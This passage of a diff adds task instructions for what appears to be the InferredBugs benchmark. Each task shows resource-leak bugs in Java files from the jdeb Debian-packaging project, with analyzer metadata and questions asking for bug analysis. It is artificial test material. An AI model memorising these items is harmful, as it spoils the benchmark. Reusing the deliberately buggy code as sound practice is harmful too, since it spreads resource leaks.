+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10628/instruction.md b/inferredbugs-10628/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..af25e724322e6d30ecd3f30e44893ec1da156708
--- /dev/null
+++ b/inferredbugs-10628/instruction.md
@@ -0,0 +1,325 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jdeb
+**Bug ID:** 10
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2008 The Apache Software Foundation.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.vafer.jdeb.ant;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.OutputStream;
+import java.io.PrintStream;
+import java.util.zip.GZIPInputStream;
+
+import junit.framework.TestCase;
+import org.apache.tools.ant.BuildException;
+import org.apache.tools.ant.DefaultLogger;
+import org.apache.tools.ant.Project;
+import org.apache.tools.ant.ProjectHelper;
+import org.apache.tools.bzip2.CBZip2InputStream;
+import org.apache.tools.tar.TarEntry;
+import org.apache.tools.tar.TarInputStream;
+import org.vafer.jdeb.ar.ArEntry;
+import org.vafer.jdeb.ar.ArInputStream;
+
+/**
+ * @author Emmanuel Bourg
+ * @version $Revision$, $Date$
+ */
+public class DebAntTaskTestCase extends TestCase {
+
+	private Project project;
+
+	protected void setUp() throws Exception {
+		project = new Project();
+		project.setCoreLoader(getClass().getClassLoader());
+		project.init();
+
+		File buildFile = new File("target/test-classes/testbuild.xml");
+		project.setBaseDir(buildFile.getParentFile());
+		ProjectHelper.configureProject(project, buildFile);
+
+		// remove the package previously build
+		File deb = new File("target/test.deb");
+		if (deb.exists()) {
+			assertTrue("Unable to remove the test archive", deb.delete());
+		}
+	}
+
+	public void testMissingControl() {
+		try {
+			project.executeTarget("missing-control");
+			fail("No exception thrown");
+		} catch (BuildException e) {
+			// expected
+		}
+	}
+
+	public void testInvalidControl() {
+		try {
+			project.executeTarget("invalid-control");
+			fail("No exception thrown");
+		} catch (BuildException e) {
+			// expected
+		}
+	}
+
+	public void testMissingDestFile() {
+		try {
+			project.executeTarget("missing-destfile");
+			fail("No exception thrown");
+		} catch (BuildException e) {
+			// expected
+		}
+	}
+
+	public void testEmptyPackage() {
+		try {
+			project.executeTarget("empty-package");
+			fail("No exception thrown");
+		} catch (BuildException e) {
+			// expected
+		}
+	}
+
+	public void testPackageWithArchive() {
+		project.executeTarget("with-archive");
+
+		assertTrue("package not build", new File("target/test-classes/test.deb").exists());
+	}
+
+	public void testPackageWithMissingArchive() {
+		try {
+			project.executeTarget("with-missing-archive");
+			fail("No exception thrown");
+		} catch (BuildException e) {
+			// expected
+		}
+	}
+
+	public void testPackageWithDirectory() {
+		project.executeTarget("with-directory");
+
+		assertTrue("package not build", new File("target/test-classes/test.deb").exists());
+	}
+
+	public void testPackageWithMissingDirectory() {
+		try {
+			project.executeTarget("with-missing-directory");
+			fail("No exception thrown");
+		} catch (BuildException e) {
+			// expected
+		}
+	}
+
+	/**
+	 * Redirects the Ant output to the specified stream.
+	 */
+	private void redirectOutput(OutputStream out) {
+		DefaultLogger logger = new DefaultLogger();
+		logger.setOutputPrintStream(new PrintStream(out));
+		logger.setMessageOutputLevel(Project.MSG_INFO);
+		project.addBuildListener(logger);
+	}
+
+	public void testVerboseEnabled() {
+		ByteArrayOutputStream out = new ByteArrayOutputStream();
+		redirectOutput(out);
+
+		project.executeTarget("verbose-enabled");
+
+		assertTrue(out.toString().indexOf("Total size") != -1);
+	}
+
+	public void testVerboseDisabled() {
+		ByteArrayOutputStream out = new ByteArrayOutputStream();
+		redirectOutput(out);
+
+		project.executeTarget("verbose-disabled");
+
+		assertTrue(out.toString().indexOf("Total size") == -1);
+	}
+
+	public void testFileSet() {
+		project.executeTarget("fileset");
+
+		assertTrue("package not build", new File("target/test-classes/test.deb").exists());
+	}
+
+	public void testTarFileSet() throws Exception {
+		project.executeTarget("tarfileset");
+
+		File deb = new File("target/test-classes/test.deb");
+		assertTrue("package not build", deb.exists());
+
+		ArInputStream in = new ArInputStream(new FileInputStream(deb));
+		ArEntry entry;
+		while ((entry = in.getNextEntry()) != null) {
+			if (entry.getName().equals("data.tar.gz")) {
+				TarInputStream tar = new TarInputStream(new GZIPInputStream(in));
+				TarEntry tarentry;
+				while ((tarentry = tar.getNextEntry()) != null) {
+					assertTrue("prefix", tarentry.getName().startsWith("/foo/"));
+					if (tarentry.isDirectory()) {
+						assertEquals("directory mode (" + tarentry.getName() + ")", 040700, tarentry.getMode());
+					} else {
+						assertEquals("file mode (" + tarentry.getName() + ")", 0100600, tarentry.getMode());
+					}
+					assertEquals("user", "ebourg", tarentry.getUserName());
+					assertEquals("group", "ebourg", tarentry.getGroupName());
+				}
+			} else {
+				// skip to the next entry
+				in.skip(entry.getLength());
+			}
+		}
+	}
+
+	public void testUnkownCompression() throws Exception {
+		try {
+			project.executeTarget("unknown-compression");
+			fail("No exception thrown");
+		} catch (BuildException e) {
+			// expected
+		}
+	}
+
+	public void testBZip2Compression() throws Exception {
+		project.executeTarget("bzip2-compression");
+
+		File deb = new File("target/test-classes/test.deb");
+		assertTrue("package not build", deb.exists());
+
+		boolean found = false;
+
+		ArInputStream in = new ArInputStream(new FileInputStream(deb));
+		ArEntry entry;
+		while ((entry = in.getNextEntry()) != null) {
+			if (entry.getName().equals("data.tar.bz2")) {
+				found = true;
+
+				assertEquals("header 0", (byte) 'B', in.read());
+				assertEquals("header 1", (byte) 'Z', in.read());
+
+				TarInputStream tar = new TarInputStream(new CBZip2InputStream(in));
+				while ((tar.getNextEntry()) != null);
+				break;
+			} else {
+				// skip to the next entry
+				in.skip(entry.getLength());
+			}
+		}
+
+		assertTrue("bz2 file not found", found);
+	}
+
+	public void testNoCompression() throws Exception {
+		project.executeTarget("no-compression");
+
+		File deb = new File("target/test-classes/test.deb");
+		assertTrue("package not build", deb.exists());
+
+		boolean found = false;
+
+		ArInputStream in = new ArInputStream(new FileInputStream(deb));
+		ArEntry entry;
+		while ((entry = in.getNextEntry()) != null) {
+			if (entry.getName().equals("data.tar")) {
+				found = true;
+
+				TarInputStream tar = new TarInputStream(in);
+				while ((tar.getNextEntry()) != null);
+			} else {
+				// skip to the next entry
+				in.skip(entry.getLength());
+			}
+		}
+
+		assertTrue("tar file not found", found);
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.tools.tar.TarInputStream` acquired to `tar` by call to `new()` at line 241 is not released after line 242.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DebAntTaskTestCase.testNoCompression()
+
+### Procedure Id:
+org.vafer.jdeb.ant.DebAntTaskTestCase.testNoCompression():void.c63bed349b02f94f9d2b518ea25ce4f2
+
+### File:
+src/test/java/org/vafer/jdeb/ant/DebAntTaskTestCase.java
+
+### Key:
+DebAntTaskTestCase.java|testNoCompression|RESOURCE_LEAK
+
+### Node Key:
+a18c747aa06fe73513762e994376f92e
+
+### Hash:
+5f213f6282a965e85604b71275444aad
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10642/instruction.md b/inferredbugs-10642/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0f439e6b97287af76370f5cc075321684ca2d068
--- /dev/null
+++ b/inferredbugs-10642/instruction.md
@@ -0,0 +1,159 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jdeb
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2005 The Apache Software Foundation.
+ * 
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * 
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.vafer.jdeb.producers;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.zip.GZIPInputStream;
+
+import org.apache.tools.tar.TarEntry;
+import org.apache.tools.tar.TarInputStream;
+import org.vafer.jdeb.DataConsumer;
+import org.vafer.jdeb.DataProducer;
+import org.vafer.jdeb.mapping.Mapper;
+
+/**
+ * Providing data from an archive keeping permissions and ownerships.
+ * 
+ * @author tcurdt
+ */
+public final class DataProducerArchive extends AbstractDataProducer implements DataProducer {
+
+	private final File archive;
+	
+	public DataProducerArchive( final File pArchive, final String[] pIncludes, final String[] pExcludes, final Mapper[] pMappers ) {
+		super(pIncludes, pExcludes, pMappers);
+		archive = pArchive;
+	}
+		
+	public void produce( final DataConsumer receiver ) {
+
+		TarInputStream archiveInputStream = null;
+		try {
+			archiveInputStream = new TarInputStream(new GZIPInputStream(new FileInputStream(archive)));
+
+			while(true) {
+				
+				TarEntry entry = archiveInputStream.getNextEntry();
+
+				if (entry == null) {
+					break;
+				}
+
+				if (!isIncluded(entry.getName())) {
+					continue;					
+				}				
+
+				entry = map(entry);
+				
+				if (entry.isDirectory()) {
+					receiver.onEachDir(entry.getName(), entry.getLinkName(), entry.getUserName(), entry.getUserId(), entry.getGroupName(), entry.getGroupId(), entry.getMode(), entry.getSize());
+					continue;
+				}
+				
+				receiver.onEachFile(archiveInputStream, entry.getName(), entry.getLinkName(), entry.getUserName(), entry.getUserId(), entry.getGroupName(), entry.getGroupId(), entry.getMode(), entry.getSize());						
+			}
+			
+		} catch (IOException e) {
+			e.printStackTrace();
+		} finally {
+			if (archiveInputStream != null) {
+				try {
+					archiveInputStream.close();
+				} catch (IOException e) {
+				}
+			}
+		}		
+	}			
+
+	
+	
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileInputStream` acquired by call to `FileInputStream(...)` at line 47 is not released after line 47.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DataProducerArchive.produce(DataConsumer)
+
+### Procedure Id:
+org.vafer.jdeb.producers.DataProducerArchive.produce(org.vafer.jdeb.DataConsumer):void.ebf3fea98c69a5d7cbe7b4fdfb73ada7
+
+### File:
+src/main/java/org/vafer/jdeb/producers/DataProducerArchive.java
+
+### Key:
+DataProducerArchive.java|produce|RESOURCE_LEAK
+
+### Node Key:
+474ab20704657fa0cac866ca9edcdaa0
+
+### Hash:
+89b4ebb498a7e228b7374464211dca8e
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10643/instruction.md b/inferredbugs-10643/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fae8323fdb39cdf0e17f317f856b72ee95252c1e
--- /dev/null
+++ b/inferredbugs-10643/instruction.md
@@ -0,0 +1,607 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jdeb
+**Bug ID:** 15
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2010 The Apache Software Foundation.
+ * 
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * 
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.vafer.jdeb;
+
+import java.io.ByteArrayInputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.math.BigInteger;
+import java.security.DigestOutputStream;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.text.ParseException;
+import java.text.SimpleDateFormat;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Date;
+import java.util.List;
+import java.util.Locale;
+import java.util.zip.GZIPOutputStream;
+
+import org.apache.tools.bzip2.CBZip2OutputStream;
+import org.apache.tools.tar.TarEntry;
+import org.apache.tools.tar.TarOutputStream;
+import org.vafer.jdeb.ar.ArEntry;
+import org.vafer.jdeb.ar.ArOutputStream;
+import org.vafer.jdeb.changes.ChangeSet;
+import org.vafer.jdeb.changes.ChangesProvider;
+import org.vafer.jdeb.descriptors.ChangesDescriptor;
+import org.vafer.jdeb.descriptors.InvalidDescriptorException;
+import org.vafer.jdeb.descriptors.PackageDescriptor;
+import org.vafer.jdeb.mapping.PermMapper;
+import org.vafer.jdeb.signing.SigningUtils;
+import org.vafer.jdeb.utils.InformationOutputStream;
+import org.vafer.jdeb.utils.Utils;
+import org.vafer.jdeb.utils.VariableResolver;
+
+/**
+ * The processor does the actual work of building the deb related files.
+ * It is been used by the ant task and (later) the maven plugin.
+ * 
+ * @author Torsten Curdt <tcurdt@vafer.org>
+ */
+public class Processor {
+
+    private final Console console;
+    private final VariableResolver resolver;
+
+    private static final class Total {
+        private BigInteger count = BigInteger.valueOf(0);
+
+        public void add(long size) {
+            count = count.add(BigInteger.valueOf(size));
+        }
+
+        public String toString() {
+            return "" + count;
+        }
+
+//        public BigInteger toBigInteger() {
+//            return count;
+//        }
+    }
+
+    public Processor( final Console pConsole, final VariableResolver pResolver ) {
+        console = pConsole;
+        resolver = pResolver;
+    }
+
+    private void addTo( final ArOutputStream pOutput, final String pName, final String pContent ) throws IOException {
+        final byte[] content = pContent.getBytes(); 
+        pOutput.putNextEntry(new ArEntry(pName, content.length));
+        pOutput.write(content);
+    }
+
+    private void addTo( final ArOutputStream pOutput, final String pName, final File pContent ) throws IOException {
+        pOutput.putNextEntry(new ArEntry(pName, pContent.length()));
+        
+        final InputStream input = new FileInputStream(pContent);
+        try {
+            Utils.copy(input, pOutput);
+        } finally {
+            input.close();
+        }
+    }
+    
+    /**
+     * Create the debian archive with from the provided control files and data producers.
+     * 
+     * @param pControlFiles
+     * @param pData
+     * @param pOutput
+     * @param compression the compression method used for the data file (gzip, bzip2 or anything else for no compression)
+     * @return PackageDescriptor
+     * @throws PackagingException
+     */
+    public PackageDescriptor createDeb( final File[] pControlFiles, final DataProducer[] pData, final File pOutput, String compression ) throws PackagingException, InvalidDescriptorException {
+
+        File tempData = null;
+        File tempControl = null;
+
+        try {
+            tempData = File.createTempFile("deb", "data");          
+            tempControl = File.createTempFile("deb", "control");            
+
+            console.println("Building data");
+            final StringBuffer md5s = new StringBuffer();
+            final BigInteger size = buildData(pData, tempData, md5s, compression);
+
+            console.println("Building control");
+            final PackageDescriptor packageDescriptor = buildControl(pControlFiles, size, md5s, tempControl);
+
+            if (!packageDescriptor.isValid()) {
+                throw new InvalidDescriptorException(packageDescriptor);
+            }
+
+            final InformationOutputStream output = new InformationOutputStream(new FileOutputStream(pOutput), MessageDigest.getInstance("MD5"));
+
+            final ArOutputStream ar = new ArOutputStream(output);
+
+            addTo(ar, "debian-binary", "2.0\n");
+            addTo(ar, "control.tar.gz", tempControl);
+            addTo(ar, "data.tar" + getExtension(compression), tempData);
+            
+            ar.close();
+
+            // intermediate values
+            packageDescriptor.set("MD5", output.getMd5());
+            packageDescriptor.set("Size", "" + output.getSize());
+            packageDescriptor.set("File", pOutput.getName());
+
+            return packageDescriptor;
+
+        } catch(InvalidDescriptorException e) {
+            throw e;
+        } catch(Exception e) {
+            throw new PackagingException("Could not create deb package", e);
+        } finally {
+            if (tempData != null) {
+                if (!tempData.delete()) {
+                    throw new PackagingException("Could not delete " + tempData);                   
+                }
+            }
+            if (tempControl != null) {
+                if (!tempControl.delete()) {
+                    throw new PackagingException("Could not delete " + tempControl);                    
+                }
+            }
+        }
+    }
+
+    /**
+     * Return the extension of a file compressed with the specified method.
+     *
+     * @param pCompression the compression method used
+     * @return
+     */
+    private String getExtension( final String pCompression ) {
+        if ("gzip".equals(pCompression)) {
+            return ".gz";
+        } else if ("bzip2".equals(pCompression)) {
+            return ".bz2";
+        } else {
+            return "";
+        }
+    }
+
+    /**
+     * Create changes file based on the provided PackageDescriptor.
+     * If pRing, pKey and pPassphrase are provided the changes file will also be signed.
+     * It returns a ChangesDescriptor reflecting the changes  
+     * @param pPackageDescriptor
+     * @param pChangesProvider
+     * @param pRing
+     * @param pKey
+     * @param pPassphrase
+     * @param pOutput
+     * @return ChangesDescriptor
+     * @throws IOException
+     */
+    public ChangesDescriptor createChanges( final PackageDescriptor pPackageDescriptor, final ChangesProvider pChangesProvider, final InputStream pRing, final String pKey, final String pPassphrase, final OutputStream pOutput ) throws IOException, InvalidDescriptorException {
+
+        final ChangeSet[] changeSets = pChangesProvider.getChangesSets();
+        final ChangesDescriptor changesDescriptor = new ChangesDescriptor(pPackageDescriptor, changeSets);
+
+        changesDescriptor.set("Format", "1.7");
+
+        if (changesDescriptor.get("Binary") == null) {
+            changesDescriptor.set("Binary", changesDescriptor.get("Package"));
+        }
+
+        if (changesDescriptor.get("Source") == null) {
+            changesDescriptor.set("Source", changesDescriptor.get("Package"));
+        }
+
+        if (changesDescriptor.get("Description") == null) {
+            changesDescriptor.set("Description", "update to " + changesDescriptor.get("Version"));
+        }
+
+        final StringBuffer files = new StringBuffer("\n");
+        files.append(' ').append(changesDescriptor.get("MD5"));
+        files.append(' ').append(changesDescriptor.get("Size"));
+        files.append(' ').append(changesDescriptor.get("Section"));
+        files.append(' ').append(changesDescriptor.get("Priority"));
+        files.append(' ').append(changesDescriptor.get("File"));            
+        changesDescriptor.set("Files", files.toString());
+
+        if (!changesDescriptor.isValid()) {
+            throw new InvalidDescriptorException(changesDescriptor);
+        }
+        
+        final String changes = changesDescriptor.toString();
+        //console.println(changes);
+
+        final byte[] changesBytes = changes.getBytes("UTF-8");
+
+        if (pRing == null || pKey == null || pPassphrase == null) {         
+            pOutput.write(changesBytes);
+            pOutput.close();            
+            return changesDescriptor;
+        }
+
+        console.println("Signing changes with key " + pKey);
+
+        final InputStream input = new ByteArrayInputStream(changesBytes);
+
+        try {
+            SigningUtils.clearSign(input, pRing, pKey, pPassphrase, pOutput);       
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+        pOutput.close();
+
+        return changesDescriptor;
+    }
+
+    /**
+     * Build control archive of the deb
+     * @param pControlFiles
+     * @param pDataSize
+     * @param pChecksums
+     * @param pOutput
+     * @return
+     * @throws FileNotFoundException
+     * @throws IOException
+     * @throws ParseException
+     */
+    private PackageDescriptor buildControl( final File[] pControlFiles, final BigInteger pDataSize, final StringBuffer pChecksums, final File pOutput ) throws IOException, ParseException {
+
+        PackageDescriptor packageDescriptor = null;
+
+        final TarOutputStream outputStream = new TarOutputStream(new GZIPOutputStream(new FileOutputStream(pOutput)));
+        outputStream.setLongFileMode(TarOutputStream.LONGFILE_GNU);
+
+        for (int i = 0; i < pControlFiles.length; i++) {
+            final File file = pControlFiles[i];
+
+            if (file.isDirectory()) {
+                continue;
+            }
+
+            final TarEntry entry = new TarEntry(file);
+
+            final String name = file.getName();
+
+            entry.setName("./" + name);
+            entry.setNames("root", "root");
+            entry.setMode(PermMapper.toMode("755"));
+
+            if ("control".equals(name)) {
+                packageDescriptor = new PackageDescriptor(new FileInputStream(file), resolver);
+
+                if (packageDescriptor.get("Date") == null) {
+                    SimpleDateFormat fmt = new SimpleDateFormat("EEE, d MMM yyyy HH:mm:ss Z", Locale.ENGLISH); // Mon, 26 Mar 2007 11:44:04 +0200 (RFC 2822)
+                    // FIXME Is this field allowed in package descriptors ?
+                    packageDescriptor.set("Date", fmt.format(new Date()));
+                }
+
+                if (packageDescriptor.get("Distribution") == null) {
+                    packageDescriptor.set("Distribution", "unknown");
+                }
+
+                if (packageDescriptor.get("Urgency") == null) {
+                    packageDescriptor.set("Urgency", "low");
+                }
+
+                final String debFullName = System.getenv("DEBFULLNAME");
+                final String debEmail = System.getenv("DEBEMAIL");
+
+                if (debFullName != null && debEmail != null) {
+                    packageDescriptor.set("Maintainer", debFullName + " <" + debEmail + ">");
+                    console.println("Using maintainer from the environment variables.");
+                }
+
+                continue;
+            }           
+
+            final InputStream inputStream = new FileInputStream(file);
+
+            outputStream.putNextEntry(entry);
+
+            Utils.copy(inputStream, outputStream);                              
+
+            outputStream.closeEntry();
+
+            inputStream.close();
+
+        }
+
+        if (packageDescriptor == null) {
+            throw new FileNotFoundException("No control file in " + Arrays.toString(pControlFiles));
+        }
+
+        packageDescriptor.set("Installed-Size", pDataSize.divide(BigInteger.valueOf(1024)).toString());
+
+        addEntry("control", packageDescriptor.toString(), outputStream);
+
+        addEntry("md5sums", pChecksums.toString(), outputStream);
+
+        outputStream.close();
+
+        return packageDescriptor;
+    }
+
+    /**
+     * Build the data archive of the deb from the provided DataProducers
+     * @param pData
+     * @param pOutput
+     * @param pChecksums
+     * @param pCompression the compression method used for the data file (gzip, bzip2 or anything else for no compression)
+     * @return
+     * @throws NoSuchAlgorithmException
+     * @throws IOException
+     */
+    BigInteger buildData( final DataProducer[] pData, final File pOutput, final StringBuffer pChecksums, String pCompression ) throws NoSuchAlgorithmException, IOException {
+
+        OutputStream out = new FileOutputStream(pOutput);
+        if ("gzip".equals(pCompression)) {
+            out = new GZIPOutputStream(out);
+        } else if ("bzip2".equals(pCompression)) {
+            out.write("BZ".getBytes());
+            out = new CBZip2OutputStream(out);
+        }
+        
+        final TarOutputStream outputStream = new TarOutputStream(out);
+        outputStream.setLongFileMode(TarOutputStream.LONGFILE_GNU);
+
+        final MessageDigest digest = MessageDigest.getInstance("MD5");
+
+        final Total dataSize = new Total();
+
+        final List addedDirectories = new ArrayList();
+        final DataConsumer receiver = new DataConsumer() {
+            public void onEachDir( String dirname, String linkname, String user, int uid, String group, int gid, int mode, long size ) throws IOException {
+                dirname = fixPath(dirname);
+                
+                createParentDirectories((new File(dirname)).getParent(), user, uid, group, gid);
+                
+                // The directory passed in explicitly by the caller also gets the passed-in mode.  (Unlike
+                // the parent directories for now.  See related comments at "int mode =" in 
+                // createParentDirectories, including about a possible bug.)
+                createDirectory(dirname, user, uid, group, gid, mode, 0);
+
+                console.println("dir: " + dirname);
+            }
+
+            public void onEachFile( InputStream inputStream, String filename, String linkname, String user, int uid, String group, int gid, int mode, long size ) throws IOException {
+                filename = fixPath(filename);
+
+                createParentDirectories((new File(filename)).getParent(), user, uid, group, gid);
+
+                TarEntry entry = new TarEntry(filename);
+
+                // FIXME: link is in the constructor
+                entry.setUserName(user);
+                entry.setUserId(uid);
+                entry.setGroupName(group);
+                entry.setGroupId(gid);
+                entry.setMode(mode);
+                entry.setSize(size);
+
+                outputStream.putNextEntry(entry);
+
+                dataSize.add(size);
+
+                digest.reset();
+
+                Utils.copy(inputStream, new DigestOutputStream(outputStream, digest));
+                
+                final String md5 = Utils.toHex(digest.digest());
+
+                outputStream.closeEntry();
+
+                console.println(
+                        "file:" + entry.getName() +
+                        " size:" + entry.getSize() +
+                        " mode:" + entry.getMode() +
+                        " linkname:" + entry.getLinkName() +
+                        " username:" + entry.getUserName() +
+                        " userid:" + entry.getUserId() +
+                        " groupname:" + entry.getGroupName() +
+                        " groupid:" + entry.getGroupId() +
+                        " modtime:" + entry.getModTime() +
+                        " md5: " + md5
+                );
+
+                pChecksums.append(md5).append(" ").append(entry.getName()).append('\n');
+
+            }
+            
+            private String fixPath(String path) {
+                // If we're receiving directory names from Windows, then we'll convert to use slash
+                // This does eliminate the ability to use of a backslash in a directory name on *NIX, but in practice, this is a non-issue
+                if (path.indexOf('\\') > -1) {
+                    path = path.replace('\\', '/');
+                }
+                // ensure the path is like : ./foo/bar
+                if (path.startsWith("/")) {
+                    path = "." + path;
+                } else if (!path.startsWith("./")) {
+                    path = "./" + path;
+                }
+                return path;
+            }
+            
+            private void createDirectory(String directory, String user, int uid, String group, int gid, int mode, long size) throws IOException {
+                // All dirs should end with "/" when created, or the test DebAndTaskTestCase.testTarFileSet() thinks its a file
+                // and so thinks it has the wrong permission.
+                // This consistency also helps when checking if a directory already exists in addedDirectories.
+              
+                directory += (directory.endsWith("/") ? "" : "/"); 
+                
+                if (!addedDirectories.contains(directory)) {
+                    TarEntry entry = new TarEntry(directory);
+                    // FIXME: link is in the constructor
+                    entry.setUserName(user);
+                    entry.setUserId(uid);
+                    entry.setGroupName(group);
+                    entry.setGroupId(gid);
+                    entry.setMode(mode);
+                    entry.setSize(size);
+
+                    outputStream.putNextEntry(entry);
+                    outputStream.closeEntry();
+                    addedDirectories.add(directory); // so addedDirectories consistently have "/" for finding duplicates.
+                }
+            }
+
+            private void createParentDirectories(String dirname, String user, int uid, String group, int gid) throws IOException {
+                // Debian packages must have parent directories created
+                // before sub-directories or files can be installed.
+                // For example, if an entry of ./usr/lib/foo/bar existed
+                // in a .deb package, but the ./usr/lib/foo directory didn't
+                // exist, the package installation would fail.  The .deb must
+                // then have an entry for ./usr/lib/foo and then ./usr/lib/foo/bar
+
+                if (dirname == null) {
+                  return;
+                }
+                
+                // The loop below will create entries for all parent directories
+                // to ensure that .deb packages will install correctly.
+                String[] pathParts = dirname.split("\\/");
+                String parentDir = "./";
+                for (int i = 1; i < pathParts.length; i++) {
+                    parentDir += pathParts[i] + "/";
+                    // Make it so the dirs can be traversed by users.
+                    // We could instead try something more granular, like setting the directory 
+                    // permission to 'rx' for each of the 3 user/group/other read permissions 
+                    // found on the file being added (ie, only if "other" has read
+                    // permission on the main node, then add o+rx permission on all the containing
+                    // directories, same w/ user & group), and then also we'd have to 
+                    // check the parentDirs collection of those already added to 
+                    // see if those permissions need to be similarly updated.  (Note, it hasn't
+                    // been demonstrated, but there might be a bug if a user specifically
+                    // requests a directory with certain permissions,
+                    // that has already been auto-created because it was a parent, and if so, go set
+                    // the user-requested mode on that directory instead of this automatic one.)
+                    // But for now, keeping it simple by making every dir a+rx.   Examples are:
+                    // drw-r----- fs/fs   # what you get with setMode(mode)
+                    // drwxr-xr-x fs/fs   # Usable. Too loose?
+                    int mode = TarEntry.DEFAULT_DIR_MODE;
+
+                    createDirectory(parentDir, user, uid, group, gid, mode, 0);
+                }
+            }
+        };
+
+        for (int i = 0; i < pData.length; i++) {
+            final DataProducer data = pData[i];
+            data.produce(receiver);
+        }
+
+        outputStream.close();
+
+        console.println("Total size: " + dataSize);
+
+        return dataSize.count;
+    }
+
+    private static void addEntry( final String pName, final String pContent, final TarOutputStream pOutput ) throws IOException {
+        final byte[] data = pContent.getBytes("UTF-8");
+
+        final TarEntry entry = new TarEntry("./" + pName);
+        entry.setSize(data.length);
+        entry.setNames("root", "root");
+
+        pOutput.putNextEntry(entry);
+        pOutput.write(data);
+        pOutput.closeEntry();       
+    }
+
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.vafer.jdeb.ar.ArOutputStream` acquired to `ar` by call to `new()` at line 136 is not released after line 151.
+**Note**: potential exception at line 138
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+PackageDescriptor Processor.createDeb(java.io.File[],org.vafer.jdeb.DataProducer[],File,String)
+
+### Procedure Id:
+org.vafer.jdeb.Processor.createDeb(java.io.File[],org.vafer.jdeb.DataProducer[],java.io.File,java.la.f478925a828b2b3302b44b52d6281f50
+
+### File:
+src/main/java/org/vafer/jdeb/Processor.java
+
+### Key:
+Processor.java|createDeb|RESOURCE_LEAK
+
+### Node Key:
+f645aafdf4c7de4e5a37ff7e8f2268a3
+
+### Hash:
+0077b93f6f833671878db4e3a003f99e
+
